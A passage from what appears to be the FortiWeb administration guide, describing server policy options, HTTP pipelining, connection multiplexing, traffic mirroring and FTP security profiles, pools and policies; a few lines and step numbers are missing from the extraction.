Available only if Enable Server Name Indication (SNI) is selected.
SNI Policy—Select the Server Name Indication (SNI) configuration that
determines which certificate FortiWeb presents on behalf of the members of a
server pool.
Available only if Enable Server Name Indication (SNI) is selected.
Enable URL Based Client Certificate—Specifies whether FortiWeb uses a
URL-based client certificate group to determine whether a client is required to
present a personal certificate.
Note: This function is not supported for HTTP/2 communication between the
Client and this back-end web server.
URL Based Client Certificate Group—Specifies the URL-based client
certificate group that determines whether a client is required to present a
personal certificate.
If the URL the client requests does not match an entry in the group, the client
is not required to present a personal certificate.
For information on creating a group, see Use URLs to determine whether a
client is required to present a certificate on page 424.
Available only if Enable URL Based Client Certificate is selected.
Max HTTP Request Length—Specifies the maximum allowed length for an
HTTP request with a URL that matches an entry in the URL-based client
certificate group.
FortiWeb blocks any matching requests that exceed the specified size.
This setting prevents a request from exceeding the maximum buffer size.
Available only if Enable URL Based Client Certificate is selected.
SSL Connection Settings Supported SSL Protocols—Specify which versions of the SSL or TLS
cryptographic protocols clients can use to connect securely to the FortiWeb
appliance.
TLS protocol changes a lot since version 1.3, including the handshake
algorithm, the supported ciphers and certificates. Make sure you understand
how it works before enabling TLS 1.3.

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Note: O-RTT in TLS 1.3 is disabled by default. You can use the following
command to enable it:
set tls13-early-data-mode enable
end
For the supported ciphers of each TLS version, see Supported cipher suites &
This option is available when:
SSL/TLS Encryption Level—Specify whether the set of cipher suites that
FortiWeb allows creates a medium-security, high-security or customized
security configuration.
If you select Customized, you can select a cipher and then use the arrow
keys to move it to the appropriate list.
Disable Client-Initiated SSL Renegotiation—Select to configure
FortiWeb to ignore requests from clients to renegotiate TLS or SSL.
Protect against denial-of-service (DoS) attacks that use TLS/SSL
HTTPS Header Insertion Client Certificate Forwarding—Enable to configure FortiWeb to include the
X.509 personal certificate presented by the client during the SSL/TLS
handshake, if any, in an X-Client-Cert: HTTP header when it forwards
the traffic to the protected web server.
FortiWeb still validates the client certificate itself, but this forwarding action
can be useful if the web server requires the client certificate for server-side
identity-based functionality
Note: It is necessary to set Certificate Verification to make this option
effective.
Custom Header of CCF Subject—Enter a custom subject header that will
be inserted in the X.509 personal certificate presented by the client during the
SSL/TLS handshake.
Available only if Client Certificate Forwarding is selected.
Custom Header of CCF Certificate—Enter a custom certificate header
that will be inserted in the X.509 personal certificate presented by the client
during the SSL/TLS handshake.
Available only if Client Certificate Forwarding is selected.

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Add HSTS Header—Enable to combat MITM attacks on HTTP by injecting

the RFC 6797 (http://tools.ietf.org/html/rfc6797) strict transport security
header into the reply. For example:
Strict-Transport-Security: max-age=31536000
This header forces clients to use HTTPS for subsequent visits to this domain.
If the certificate is invalid, the client’s web browser receives a fatal connection
error and does not display a dialog that allows the user to override the
certificate mismatch error and continue.
Max. Age—Specify the time to live in seconds for the HSTS header.
Available only if Add HSTS Header is selected.
Add HPKP Header—Select an HPKP profile, if any, to use to verify
certificates when clients attempt to access a server.
HPKP prevents attackers from carrying out Man in the Middle (MITM) attacks
with forged certificates. For details, see HTTP Public Key Pinning on page
410.
Redirect HTTP to HTTPS Select to automatically redirect all HTTP requests to the HTTPS service with
the same URL and parameters. If you select this option, ensure to configure
HTTPS Service on page 247.
If selected, FortiWeb does not apply the protection profile for this policy
specified by the Web Protection Profile on page 252 to the redirected traffic.
This option can replace redirection functionality that you create using URL
rewriting rules. For details, see Example: HTTP-to-HTTPS redirect on page
633.
This option is available only in Reverse Proxy mode.
Traffic Mirror Enable to mirror all traffic to the third party devices per the traffic mirror policy.
Traffic Mirror Policy Select the traffic mirror policy you have created to determine which policy to
apply to the connection.
Traffic Mirror Type For True Transparent Proxy mode, only Client Side type is available, which
only allows traffic from client side to be sent to IPS/IDS devices.
l Client Side—only allow traffic from client side to be sent to IPS/IDS
devices.
l Server Side—only allow traffic from server side to be sent to IPS/IDS
devices.
l Client and Server—allow traffic from both client and server sides to be
sent to IPS/IDS devices.
Security Configuration
Monitor Mode Enable to override any actions included in the profiles. Instead, FortiWeb will
accept all requests and generate an alert email and/or log message for all
policy violations.

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This setting does not affect any rewriting or redirection actions in the
protection profiles, including the action to remove poisoned cookies.
Note: Logging and/or alert email occur only if you enable and configure them.
For details, see Logging on page 698 and Alert email on page 724.
Syn Cookie Enable to prevent TCP SYN floods. Also configure Half Open Threshold on
page 252.
For details, see Preventing a TCP SYN flood on page 624.
This option is available only in Reverse Proxy, True Transparent Proxy, and
WCCP mode.
Half Open Threshold Type the TCP SYN cookie threshold in packets per second. Also configure Syn
Cookie on page 252.
Available only when the operating mode is Reverse Proxy, True Transparent
Proxy, or WCCP.
Web Protection Profile Select the profile to apply to the connections that this policy accepts, or select
Create New to add a new profile in a pop-up window, without leaving the
current page.
For details on specific protection profiles, see one of the following topics:
l Configuring a protection profile for inline topologies on page 223
l Configuring a protection profile for an out-of-band topology or
asynchronous mode of operation on page 233
Note: The current operation mode determines which profiles are available.
For details, see How operation mode affects server policy behavior on page
217.
Note: FortiWeb does not block clients with source IP addresses designated as
a trusted IP. For details, see Blacklisting & whitelisting clients using a source
IP or source IP range on page 447.
If the Deployment Mode on page 244 is set to HTTP Content Routing, this
option is effective when you create the list of content routing policies.
Replacement Message Select the replacement message to apply to the policy.
View Profile Details Click to display the settings of the current profile without leaving the current
page. When viewing a profile, you can also modify its settings from here.
To return to the policy settings, click Back to Policy Settings.
URL Case Sensitivity Enable to differentiate uniform resource locators (URLs) according to upper
case and lower case letters for features that act upon the URLs in the headers
of HTTP requests, such as IP list rules.
For example, when this option is enabled, an HTTP request involving
http://www.Example.com/ would not match profile features that
specify http://www.example.com (difference is lower case “e”).
Machine Learning
Anomaly Detection Click Create to create an anomaly detection policy. See Enabling machine
learning policy on page 759 for details.

Policies 253
Bot Detection Click Create to create a bot detection policy. See Enabling machine learning
policy on page 759 for details.
Application Delivery
Proxy Protocol Enable this option when proxy servers or load balancers are installed before
FortiWeb, for example, when a load balancer with proxy protocol enabled is
deployed before FortiWeb-VM on AWS.
When Proxy Protocol is enabled, FortiWeb can receive client connection
information in the proxy protocol package passed through proxy servers and
load balancers.
Retry On Enable to configure whether to retry a failed TCP connection or HTTP request
in Reverse Proxy mode.
A TCP connection failure retry can help when pserver is unreachable
unexpectedly, FortiWeb will reconnect the single server or switch to the other
server when more than one pserver is available in the server pool.
An HTTP layer retry can help when pserver can be connected but it returns
certain failure response codes, such as 404, 408, 500, 501, 502, 503, and
504. FortiWeb will reconnect the single server or switch to the other server
when more than one pserver is available in the server pool.
Retry On TCP Connection Enable to configure the retry times in case of any TCP connection failure.
Failure
Retry Times On Connection Enter the retry times when FortiWeb reconnects the single server or switch to
Failure the other pserver. The valid range is 1-5.
Retry On Cache Size Enter a cache size limit for the HTTP request packet.
HTTP failure retry will take effect once the request packet size is smaller than
this defined size.
TCP connection failure retry will take effect once the HTTP request packet
size in TCP connection is smaller than this defined size.
Retry On HTTP Failure Enable to configure the retry times and failure response code in case of any
TCP connection failure.
Retry Times On HTTP Enter the retry times when FortiWeb reconnects the single server or switch to
Failure the other pserver. The valid range is 1-5.
Retry On HTTP Return Code Select the failure return code when pserver can be connected to determine
enabling HTTP failure retry.
Web Cache Enable to create a web cache policy to allow FortiWeb to cache responses
from your servers.
Comments Type a description or other comment. The description can be up to 999

characters long.
5. Click OK.
The server policy is displayed in the list on Policy > Server Policy. Initially, it is enabled. For details on disabling
a policy without deleting it, see Enabling or disabling a policy on page 256.
Legitimate traffic should now be able to flow, while policy-violating traffic (that is, traffic that is prohibited by the
settings in your policy or protection profile) may be blocked, depending on your Action settings for the rule that the

Policies 254
traffic has violated.

Whitelisted items are not included in policy enforcement. For details, see Configuring the global object white list on
page 218.
6. To verify the policy, test it by forming connections between legitimate clients and servers at various points within
your network topology. Also attempt to send traffic that violates your policy, and should be logged, modified, or
blocked.
If you have another FortiWeb appliance, you can use its web vulnerability scanner to
verify that your policy is blocking attacks as you expect. For details, see Vulnerability
scans on page 656.
appliance or elsewhere on the network. For details, see Troubleshooting on page 808 and Reducing false positives on
page 802. Also consider troubleshooting recommendations included with each feature’s instructions.
See also

l Enabling or disabling a policy on page 256
HTTP pipelining
For clients that support HTTP 1.1, FortiWeb accelerates transactions by bundling them inside the same TCP
connection, instead of waiting for a response before sending/receiving the next request. This can increase performance
when pages containing many images, scripts, and other auxiliary files are all hosted on the same domain, and therefore
logically could use the same connection.
Many browsers used on smart phones prefer to pipeline their HTTP requests.
When FortiWeb is operating in Reverse Proxy or True Transparent Proxy mode, it can automatically use HTTP
pipelining for requests with the following characteristics:
l HTTP version is 1.1
l The Connection general-header field does not include the "close" option (for example, Connection: close)
l The HTTP method is GET or HEAD
Although it is enabled by default, you can use a CLI command to disable or re-enable HTTP pipelining for a specific
server policy.

Policies 255
To disable or enable HTTP pipelining
1. Connect to the CLI.

2. In each policy that requires it, enter these commands:
edit <policy_name>
set http-pipeline {enable | disable}
next
end

See also
l Defining your protected/allowed HTTP “Host:” header names on page 160

l Defining your web servers on page 163

Policies 256
Multiplexing client connections
By default, FortiWeb establishes a connection with the server for each client that makes a request to the server. When a
client makes a request, FortiWeb creates a connection to the server for that client's request. If a second client makes a
request, FortiWeb creates another connection to the server for the second client's request.
You can configure multiplexing so that FortiWeb uses a single connection to a server for requests from multiple clients.
If multiplexing is configured, when a client makes a request, FortiWeb establishes a connection to the server for that
client's request. Once the request has been completed, FortiWeb caches the connection. If a second client then makes
a request to the server, FortiWeb uses the cached connection for the second client's request. You can configure the
circumstances in which FortiWeb caches a server connection and reuses it for requests from other clients.
To configure multiplexing
1. Connect to the CLI.

2. In each policy that requires it, enter these commands:
config server-policy server-pool
edit <server_pool_name>
set http-reuse {aggressive | always | never | safe}
set reuse-conn-idle-time <int>
set reuse-conn-max-count <int>
set reuse-conn-max-request <int>
set reuse-conn-total-time <int>
next
end

Enabling or disabling a policy
You can individually enable and disable policies.
When the operation mode is Reverse Proxy, disabling a policy could block traffic if
no remaining active policies match that traffic. When no policies exist or none are
enabled, the FortiWeb appliance blocks all HTTP/HTTPS traffic.
Even if you disable a server policy, it still consumes memory (RAM). If you do not plan to use the policy for some time,
consider deleting it instead.
To enable or disable a policy
2. In the row corresponding to the policy that you want to enable, click the switch on in the Enable column.
3. In the row corresponding to the policy that you want to disable, click the switch off in the Enable column.

Policies 257
Configuring traffic mirror
In Reverse Proxy and True Transparent Proxy modes, you can configure FortiWeb to send traffic to third party IPS/IDS
devices through network interfaces for traffic monitoring.
In Reverse Proxy mode, traffic mirror on both virtual server and real server are supported; while in True Transparent
Proxy mode, only traffic mirror of virtual server is supported.
Traffic mirror supports thee topologies of IDS/IPS:
l Directly connect to a physical port of FortiWeb;
l Connect to FortiWeb by the switch (destination MAC address is required);
l Connect to FortiWeb through the network (IDS/IPS operates in server mode).
Accordingly, three modes for traffic mirror are available:
l Direct mode
l Switch mode
l Server mode
Enabling traffic mirror
Before you can begin configuring traffic mirror, you have to enable it. By default, traffic mirror is disabled.
To enable traffic mirror
1. Go to System > Config > Feature Visibility.

permission to items in the System Configuration category. For details, see "Permissions" on page 1.
2. Enable Traffic Mirror.
3. Click Apply.
Creating a traffic mirror rule
To create a traffic mirror rule
If traffic mirror is not enabled in Feature Visibility, you must enable it before you
can create a traffic mirror rule. To enable traffic mirror, go to System > Config
> Feature Visibility and enable Traffic Mirror.
1. Go to Server Objects > Traffic Mirror.

permission to items in the System Configuration category. For details, see "Permissions" on page 1.
3. Enter a name that can be referenced by other parts of the configuration for the policy.
4. Click OK.

Policies 258
Mode Three modes are available here:

l Direct: the mirrored packets are directly sent to IPS/IDS devices.
l Switch: the mirrored packets are sent to IPS/IDS devices through the switch.
l Server: the mirrored packets are sent to the designated IP of IPS/IDS devices.
With different mode, you need to configure the following respectively.
Interface For Direct mode, select the FortiWeb port to connect to IPS/IDS device.
For Switch mode, select the FortiWeb port to connect to the switch.
Destination Only for Switch mode, type the MAC of IPS/IDS interface, where the traffic from FortiWeb goes
Mac to.
Server IP Only for Server mode, enter the designated IP of IPS/IDS devices.
Server Port Only for Server mode, enter the HTTP port that the IPS/IDS devices can listen to.
7. Click OK.
For a traffic mirror policy, you can set multiple rules.
Configuring a traffic mirror policy
To apply a mirror policy rule to the policy

2. In Network Configuration section, enable Traffic Mirror.
Traffic Mirror Policy Select the traffic mirror policy you have created to determine which policy to
apply to the connection.
Traffic Mirror Type For True Transparent Proxy mode, only Client Side type is available, which
only allows traffic from client side to be sent to IPS/IDS devices.
l Client Side:only allow traffic from client side to be sent to IPS/IDS
devices.
l Server Side: only allow traffic from server side to be sent to IPS/IDS
devices.
l Client and Server: allow traffic from both client and server sides to be
sent to IPS/IDS devices.
4. Click OK.

Configuring FTP security
You can configure FortiWeb to monitor FTP traffic and protect servers that handle FTP. You can set restrictions for the
FTP commands that clients are able to use, scan files for viruses, send files to FortiSandbox for analysis, and create
rules based on source IP and IP reputation.
To configure FTP security, create an FTP Security Inline Profile that can include:
l FTP Command Restriction rules (see To create an FTP command restriction rule on page 260)
l FTP File Check rules (see To create an FTP file check rule on page 262)
l IP List rules (see To configure policies for individual source IPs on page 448)
l Geo IP rules (see To configure blocking by geography on page 446)
l IP Reputation intelligence (see To configure an IP reputation policy on page 443)
For details about creating an FTP Security Inline Profile, see Configuring an FTP security inline profile on page 263.
You can use existing IP List and Geo IP rules from a Web Protection Profile for an
HTTP server policy in an FTP Security Inline Profile.
You'll also need to create:

1. A virtual server so that FortiWeb can receive FTP traffic (see Configuring virtual servers on your FortiWeb on page
199).
2. An FTP server pool; you must specify the server(s) that handle FTP traffic (see Creating an FTP server pool on
page 265).
3. An FTP server policy; to enforce an FTP Security Inline Profile, you must select it in a server policy that handles
FTP traffic (see Creating an FTP server policy on page 269).
FTP security is available only in Reverse Proxy mode.
Enabling FTP security
Before you can begin configuring FTP security rules and policies in FortiWeb, you have to enable feature visibility for
FTP security. By default, FTP security feature visibility is disabled, and you won't be able to configure FTP security
without enabling feature visibility for it.
To enable FTP security feature visibility
1. Go to System > Config > Feature Visibility.

2. Enable FTP Security.
3. Click Apply.

Creating an FTP command restriction rule
Certain FTP commands can expose your server(s) to attack. Configure FTP command restriction rules to specify
acceptable FTP commands that clients can use to communicate with your server(s). For example, because attackers
can exploit the PORT command to carry out FTP bounce attacks, restricting the PORT command can harden your
network's security if you're using FTP.
For details about applying an FTP command restriction rule to an FTP server policy, see Configuring an
FTP security inline profile on page 263.
You can place restrictions on the following FTP commands:
l ABOR l MLSD l RNTO

l ACCT l MODE l SITE
l ALLO l NLST l SIZE
l APPE l OPTS l SMNT
l AUTH l PASS l STAT
l CDUP l PASV l STOR
l CWD l PORT l STOU
l DELE l PROT l STRU
l EPRT l PWD l SYST
l EPSV l QUIT l TYPE
l FEAT l REIN l USER
l HELP l REST l XCUP
l LIST l RETR l XMKD
l MDTM l RMD l XPWD
l MKD l RNFR l XRMD
To create an FTP command restriction rule
If FTP security isn't enabled in Feature Visibility, you must enable it before you
can create an FTP command restriction rule. To enable FTP security, go to System
> Config > Feature Visibility and enable FTP Security.
1. Go to FTP Security > FTP Command Restriction.

Name Enter a unique name that can be referenced in other parts of the
configuration. Don't use spaces or special characters. The maximum
length is 63 characters.
Action Select which action FortiWeb will take when it detects a violation of
the rule:

l Alert—Accept the connection and generate an alert email and/or

log message.
l Alert & Deny—Block the request (or reset the connection) and
generate an alert and/or log message.
l Period Block—Block subsequent requests from the client for a
number of seconds. Also configure Block Period on page 261.
The default value is Alert & Deny.
Note: This setting will be ignored if Monitor Mode on page 272 is
enabled in a server policy.
Note: Logging and/or alert email will occur only if enabled and
configured. For details, see Logging on page 698 and Alert email on
page 724.
Block Period Enter the number of seconds that you want to block subsequent
requests from a client after FortiWeb detects that the client has
violated the rule. The valid range is 1–3,600 seconds ( 1 hour) . See
also Monitoring currently blocked IPs on page 742.
This setting is available only if Action on page 260 is set to Period
Block.
Severity When rule violations are recorded in the attack log, each log message
contains a Severity Level (severity_level) field. Select which
severity level FortiWeb will use when it logs a violation of the rule:
l Informative
l Low
l Medium
l High
The default value is Medium.
Trigger Policy Select the trigger, if any, that FortiWeb will use when it logs and/or
sends an alert email about a violation of the rule. For details, see
Viewing log messages on page 718.
4. From the list of Available Commands, Select the FTP command(s) that you want to include in the rule. Use the
arrows to move the command(s) to the list of Enabled Commands.
Note: You can select multiple FTP commands by holding SHIFT or ALT when clicking commands.
5. Click OK.
Creating an FTP file check rule
You can create FTP file check rules so that FortiWeb places restrictions on uploading or downloading files and scans
files that clients attempt to upload to or download from your server(s). When configured, FortiWeb can also send files to
FortiSandbox for analysis and perform an antivirus scan.
For details about applying an FTP file check rule to an FTP server policy, see Configuring an FTP security inline profile
on page 263.

To create an FTP file check rule
can create an FTP file check rule. To enable FTP security, go to System > Config
> Feature Visibility and enable FTP Security.
1. Go to FTP Security > FTP File Security.

the rule:
log message.
Note: This setting will be ignored if Monitor Mode on page 272 is
enabled in a server policy.
Note: Logging and/or alert email will occur only if enabled and
configured. For details, see Logging on page 698 and Alert email on
page 724.
violated the rule. The valid range is 1–3,600 seconds (1 hour). See
also Monitoring currently blocked IPs on page 742.
Block.
severity level FortiWeb will use when it logs a violation of the rule:
l Informative
l Low
l Medium
l High

Trigger Action Select the trigger, if any, that FortiWeb will use when it logs and/or
sends an alert email about a violation of the rule. For details, see
File Check Direction Select one of the following:

l Uploading—FortiWeb applies the rule to files being uploaded to
your server(s).
l Downloading—FortiWeb applies the rule to files being
downloaded from your server(s).
l Both—FortiWeb applies the rule to files being either
downloaded from or uploaded to your server(s).
AntiVirus Scan Enable so that FortiWeb performs an antivirus scan on files that
match the File Check Direction on page 263.
Send Files to Enable so that FortiWeb sends files to FortiSandbox that match the
FortiSandbox File Check Direction on page 263.
Also specify the FortiSandbox settings for your FortiWeb. For details,
see To configure a FortiSandbox connection on page 598.
FortiSandbox evaluates the file and returns the results to FortiWeb.
If AntiVirus Scan on page 263 is enabled and FortiWeb detects a

virus, it does not send the file to FortiSandbox.
Send Files to ICAP Server Enable so that FortiWeb sends files to ICAP server that matches the
File Check Direction on page 263.
Also specify the ICAP server settings for your FortiWeb. For details,
see Limiting file uploads on page 597.
ICAP server detects the file and returns the results to FortiWeb.
If AntiVirus Scan on page 263 is enabled and FortiWeb detects a

virus, it does not send the file to ICAP server.
4. Click OK.
Configuring an FTP security inline profile
FTP security inline profiles combine previously-configured rules, profiles, and policies in a comprehensive set that can
be applied in an FTP server policy.
For details about applying an FTP security inline profile to an FTP server policy, see Creating an FTP server policy on
page 269.

Before creating an FTP security inline profile
Prior to creating an FTP security inline profile, you should create and configure the rules, profiles, and policies that you
plan to add to the FTP security inline profile. You can include the following:
l FTP Command Restriction rules (see To create an FTP command restriction rule on page 260)
l FTP File Check rules (see To create an FTP file check rule on page 262)
l IP Reputation intelligence (see To configure an IP reputation policy on page 443)
l Geo IP rules (see To configure blocking by geography on page 446)
l IP List rules (see To configure policies for individual source IPs on page 448)
To create an FTP security inline profile
can create an FTP security inline profile. To enable FTP security, go to System
> Config > Feature Visibility and enable FTP Security.
1. Go to Policy > FTP Security Profile.

FTP Command Select the name of an FTP command restriction rule that you

Restriction previously created. If you haven't created an FTP command restriction
rule to include in this profile yet, see To create an FTP command
restriction rule on page 260 for instructions about creating one.
FTP File Check Select the name of an FTP file check rule that you previously created.
If you haven't created an FTP file check rule to include in this profile
yet, see To create an FTP file check rule on page 262 for instructions
about creating one.
IP List Select the name of an IP List that you previously created. If you
haven't created an IP List rule to include in this profile yet, see To
configure policies for individual source IPs on page 448 for
instructions about creating one.
GEO IP Select the name of a geo IP block policy that you previously created. If
you haven't created a geo IP block policy to include in this profile yet,
see To configure blocking by geography on page 446 for instructions
about creating one.
IP Reputation Enable to include the active IP reputation policy in this profile. If you
haven't created an IP reputation policy to include in this profile yet,
see To configure an IP reputation policy on page 443 for instructions
about creating one.

4. Click OK.
Creating an FTP server pool
Server pools define a group of one or more physical or domain servers (web servers) that FortiWeb distributes
TCP connections among. When FortiWeb receives FTP traffic destined for a virtual server, it forwards the traffic to a
server pool that you've created. If the pool has more than one member, FortiWeb uses the load balancing algorithm,
weight, and server health check status of each member to distribute TCP connections.
To apply a server pool configuration, select it in an FTP server policy. For details, see Creating an FTP server policy on
page 269.
Before you begin creating an FTP server pool, if you're using the pool for load balancing and want to monitor members
for responsiveness, configure a server health check. You cannot configure a server health check while creating a server
pool. For details, see Configuring server up/down checks on page 163.
To create a server pool

2. Click Create New. From the drop-down menu, select Create FTP Server Pool.
Name Enter a name that can be referenced by other parts of the

Single Server/Server Select between the following:

Balance l Single Server—Specifies a pool that contains a single member.
l Server Balance—Specifies a pool that contains multiple
members. FortiWeb uses the specified Load Balancing Algorithm
on page 265 to distribute connections among the members. If a
member is unresponsive to the specified Server Health Check on
page 265, FortiWeb forwards subsequent connections to another
member of the pool.
Server Health Check Specify a test for server availability. By default, this health check is
used for all pool members, but you can use the pool member
configuration in a server pool rule to specify a different health check to
a member. For details, see Inherit Health Check on page 267 and
Configuring server up/down checks on page 163.
This option is available only when Single Server/Server Balance on
page 265 is Server Balance.
Load Balancing Specify how FortiWeb will distribute TCP connections to members in

Algorithm the server pool:
l Round Robin—Distribute new connections to the next pool
member, regardless of weight, response time, traffic load, or

number of existing connections. FortiWeb will avoid

unresponsive servers.
l Weighted Round Robin—Distribute new connections using
the round robin method, except that members with a higher
weight value receive a larger proportion of connections.
l Least Connection—Distribute new connections to the member
with the fewest number of existing, fully-formed connections.
l Source IP Hash—Distribute new connections using a hash
This option is available only when Single Server/Server Balance on
page 265 is Server Balance.
Comments Optionally, enter a description for the server pool. The maximum
4. Click OK.
5. To add a server pool rule, click Create New under the settings you just configured.
Status Select between the following:

l Enable—Specify that the pool member can receive new
sessions from FortiWeb.
l Disable—Specify that the pool member won't receive new
sessions from FortiWeb, and FortiWeb closes any current
sessions as soon as possible.
l Maintenance—Specify that the pool member doesn't receive
new sessions from FortiWeb, but FortiWeb maintains any current
connections.
Server Type Select either IP or Domain to specify how you want to define the pool
member.
IP Enter the IP address of FQDN of the server to include in the pool,

or depending on your selection for Server Type on page 266.
Domain For domain servers, FortiWeb queries a DNS server to resolve the
server's domain name to an IP address. For improved performance,
do one of the following:
l Use physical servers instead.
l Ensure highly reliable, low-latency service to a DNS server on
your local network.
Tip: The IP or domain server is usually not the same as a protected
host names group. For details, see Protected web servers vs.
allowed/protected host names on page 160.
Warning: Server policies do not apply features that do not yet
support IPv6 to a server using IPv6 addresses or domain servers
whose DNS names resolve to IPv6 addresses.
Port Enter the TCP port number where the pool member listens for
connections. The valid range is 1–65,535.

Connection Limit Specify the maximum number of TCP connections that FortiWeb can
forward to this pool member at a time.
The default value is 0 (disabled). The valid range is 0–1,048,576.
Weight Enter the weight of the pool member for when FortiWeb distributes
TCP connections if the Load Balancing Algorithm on page 265 is
Weighted Round Robin. Members with a greater weight receive a
greater proportion of connections.
Weighting pool members can be useful when some servers in the pool
are more powerful, or if a pool member is already receiving fewer or
more connections due to its role in multiple websites.
Inherit Health Check Enable to ignore the server health check for the server pool. Specify a
Server Health Check on page 267 below for the pool member.
Server Health Check Specify an availability test for this pool member. For details, see
Configuring server up/down checks on page 163.
This option is available only when Inherit Health Check on page 267 is
disabled.
Health Check Domain Enter the domain name of the server pool.
Name
Backup Server Enable so that FortiWeb will route any TCP connections for the server
pool to this pool member when the other pool members fail their
server health check.
The backup server mechanism doesn't work if you don't specify server
health checks for the pool members. For details, see Server Health
Check on page 265 and Inherit Health Check on page 267.
If you select this option for more than one pool member, FortiWeb
uses the load balancing algorithm to determine which member to use
first.
SSL Enable so that connections between FortiWeb and the pool member
use SSL/TLS.
If you want to configure SSL offloading for all members of a server
pool, you can configure it in a server policy instead. For details, see
Creating an FTP server policy on page 269.
Implicit SSL Enable so that FortiWeb will communicate with the pool member
using implicit SSL.
Advanced SSL settings Configure additional SSL settings, including supported SSL protocols

and encryption levels. You can apply these settings to all pool
members in a server policy. For details, see Creating an FTP server
policy on page 269.
Supported SSL Protocols Specify which versions of the TLS cryptographic protocols clients can
use to connect securely to FortiWeb or the pool member. For details
about which protocols to enable, see Supported cipher suites &
This option is available only if you enable SSL on page 267.

SSL/TLS Encryption Specify whether the set of cipher suites that FortiWeb allows creates
Level a medium-security, high-security, or customized security
configuration.
If you specify Customized, you can select a cipher and then use the
arrow keys to move it to the appropriate list.
For details about cipher suites, see Supported cipher suites & protocol
versions on page 388.
Show advanced settings
Recover Specify the amount of time (in seconds) that FortiWeb waits before it
forwards traffic to the pool member after a health check indicates that
the pool member is available.
The default value is 0 (disabled). The valid range is 0–86,400.
After the recovery period elapses, FortiWeb assigns connections at
the rate specified in Warm Rate on page 268.
A server experiences a recovery and warm-up period when:
l A server is coming back online after the health check monitor
detected it was down.
l A network service is brought up before other daemons have
finished initializing, and the server is using more CPU and
memory resources than when startup is completed.
To avoid connection problems, specify the separate warm-up rate,
recovery rate, or both.
Tip: During scheduled maintenance, you can also manually apply
these limits by setting the Status on page 266 to Maintenance.
Warm Up Specify for how long (in seconds) FortiWeb forwards traffic at a
reduced rate after a health check indicates that the pool member is
available again but cannot yet handle a full connection load.
A server may not be able to handle a full connection load when the
startup process is not fully completed.
The default value is 0 (disabled). The valid range is 0–86,400.
Warm Rate Specify the maximum connection rate while the pool member is
starting up.
Warm up calibration is useful for servers that bring up the network
service before other daemons are initialized. As these types of servers
come online, CPU and memory are utilized more than during normal
operations. For these servers, you can define separate rates based on
warm up and recovery behavior.
For example, if Warm Up on page 268 is 5 and the Warm Rate is 2,
the maximum number of new connections increases at the following
rate:
l 2nd second—2 new connections added for a total of 4 new
connections allowed (2+2).
l 3rd second—2 new connections added for a total of 6 new


l 4th second—2 new connections added for a total of 8 new
l 5th second—2 new connections added for a total of 10 new
7. Click OK.
8. Repeat steps 5–7 for as many rules as you need to add to the server pool.
Creating an FTP server policy
If your server(s) handle FTP traffic, create an FTP server policy to govern acceptable types of requests to your server(s)
by combining rules, profiles, and sub-policies.
FTP server policies can carry out the following tasks:
l Block or allow connections
l Route or forward traffic to destination web servers
l Apply security profiles to specify allowed requests and clients
Until you configure an FTP server policy, FortiWeb will deny all FTP traffic.
Do not create server policies that you're not planning to use. FortiWeb allocates memory to every server policy, even
server policies that are disabled. Configuring server policies that you don't plan to use will consume memory and may
decrease performance.
Before creating an FTP server policy
Before you begin creating a server policy, you should configure the features and options that you plan to include in the
server policy. It's possible to create rules and profiles for things that you plan to include in a server policy while creating
it, but you may miss important information and cannot clone or modify any predefined rules and profiles when creating a
server policy. For details, see Workflow on page 23.
Below are the features and options that you should configure before creating a server policy:
l If you're planning to enable SSL for secure FTP communication, upload the server's certificate and intermediate
CA certificate group. For details, see Uploading a server certificate on page 402 and Supplementing a server
certificate with its signing chain on page 404.
l Create a server pool so that FortiWeb can send FTP traffic to the server(s) that handle(s) FTP. For details, see
Creating an FTP server pool on page 265.
l Create a virtual server to receive FTP traffic on FortiWeb. For details, see Configuring virtual servers on your
FortiWeb on page 199.
l Create an FTP security inline profile to set limits and restrictions on the type of requests to your server(s) that
clients can make. For details, see Configuring an FTP security inline profile on page 263.

To create an FTP server policy
can create an FTP server policy. To enable FTP security, go to System > Config
> Feature Visibility and enable FTP Security.

2. Click Create New. From the drop-down menu, select Create FTP Policy.
Policy Name Enter a name that can be referenced by other parts of the
Deployment Mode Ensure that Single Server/Server Pool is selected. This is

the only option available.
Virtual Server Select a virtual server that you created. The virtual server identifies
the IP address and network interface of incoming traffic that FortiWeb
routes and that the policy applies a profile to.
If you haven't created a virtual server yet, see Configuring virtual
servers on your FortiWeb on page 199 for instructions about creating
one.
Server Pool Select the servers(s) that receive requests that match the policy. If
you haven't created a server pool yet, see Creating an FTP server pool
on page 265 for instructions about creating one.
Caution: Multiple servers/policies can forward traffic to the same
server pool. If you configure this, consider the total maximum load of
connections that all virtual servers forward to the server pool. This
configuration can multiply traffic forwarded to the server pool, which
can overload the server pool and cause dropped connections.
Syn Cookie Enable to prevent TCP SYN floods. If you enable this option, also
configure Half Open Threshold on page 270.
For details, see Preventing a TCP SYN flood on page 624.
Half Open Threshold Enter the TCP SYN cookie threshold in packets per second.
This option is available only when Syn Cookie on page 270 is enabled.
Service Select the custom or predefined service that specifies the TCP port
number where the virtual server receives FTP traffic.
If you don't create or select a custom service, select between the
following predefined services:
l FTP—FortiWeb will communicate with clients and servers
using FTP. Select this option if your servers will handle
SSL negotiation, encryption, and decryption.
l FTPS—FortiWeb will communicate with clients using FTPS.

When this option is selected, FortiWeb will handle

SSL negotiation, encryption, and decryption; this is called
SSL offloading. Connections between clients and FortiWeb will
be encrypted.
Note: The Server Pool on page 270 configuration specifies
whether connections between FortiWeb and the server(s) are
encrypted. Specifying FTPS for the Service handles
connections only between clients and FortiWeb.
Caution: If you don't select FTPS and provide a certificate for
FTPS connections, FortiWeb can't decrypt connections and scan
content.
Tip: FortiWeb appliances contain specialized hardware to
accelerate SSL processing. Offloading SSL/TLS processing to
FortiWeb can improve the performance of FTPS connections.
SSL Enable so that connections between clients and FortiWeb use

SSL/TLS. Enabling SSL will allow you to configure additional
SSL options and settings, including specifying supported
SSL protocols and uploading certificates.
By default, when you enable SSL, FortiWeb will communicate with
clients using explicit SSL. You can enable Implicit SSL on page 271
below so that FortiWeb will communicate with clients using implicit
SSL.
Implicit SSL Enable so that FortiWeb will communicate with clients using implicit
SSL.
Certificate Select the server certificate that FortiWeb will use to encrypt and
decrypt SSL-secured connections. If you haven't uploaded a
certificate yet, see Uploading a server certificate on page 402 for
instructions about uploading one.
Group certificates, if any, that FortiWeb will present to clients. An
intermediate CA can complete the signing chain and validate the
server certificate's CA signature. If you haven't created a group yet,
see Supplementing a server certificate with its signing chain on page
404 for instructions about creating one.
Alternatively, you can include the entire signing chain in the server
certificate before you upload it to FortiWeb. For details, see
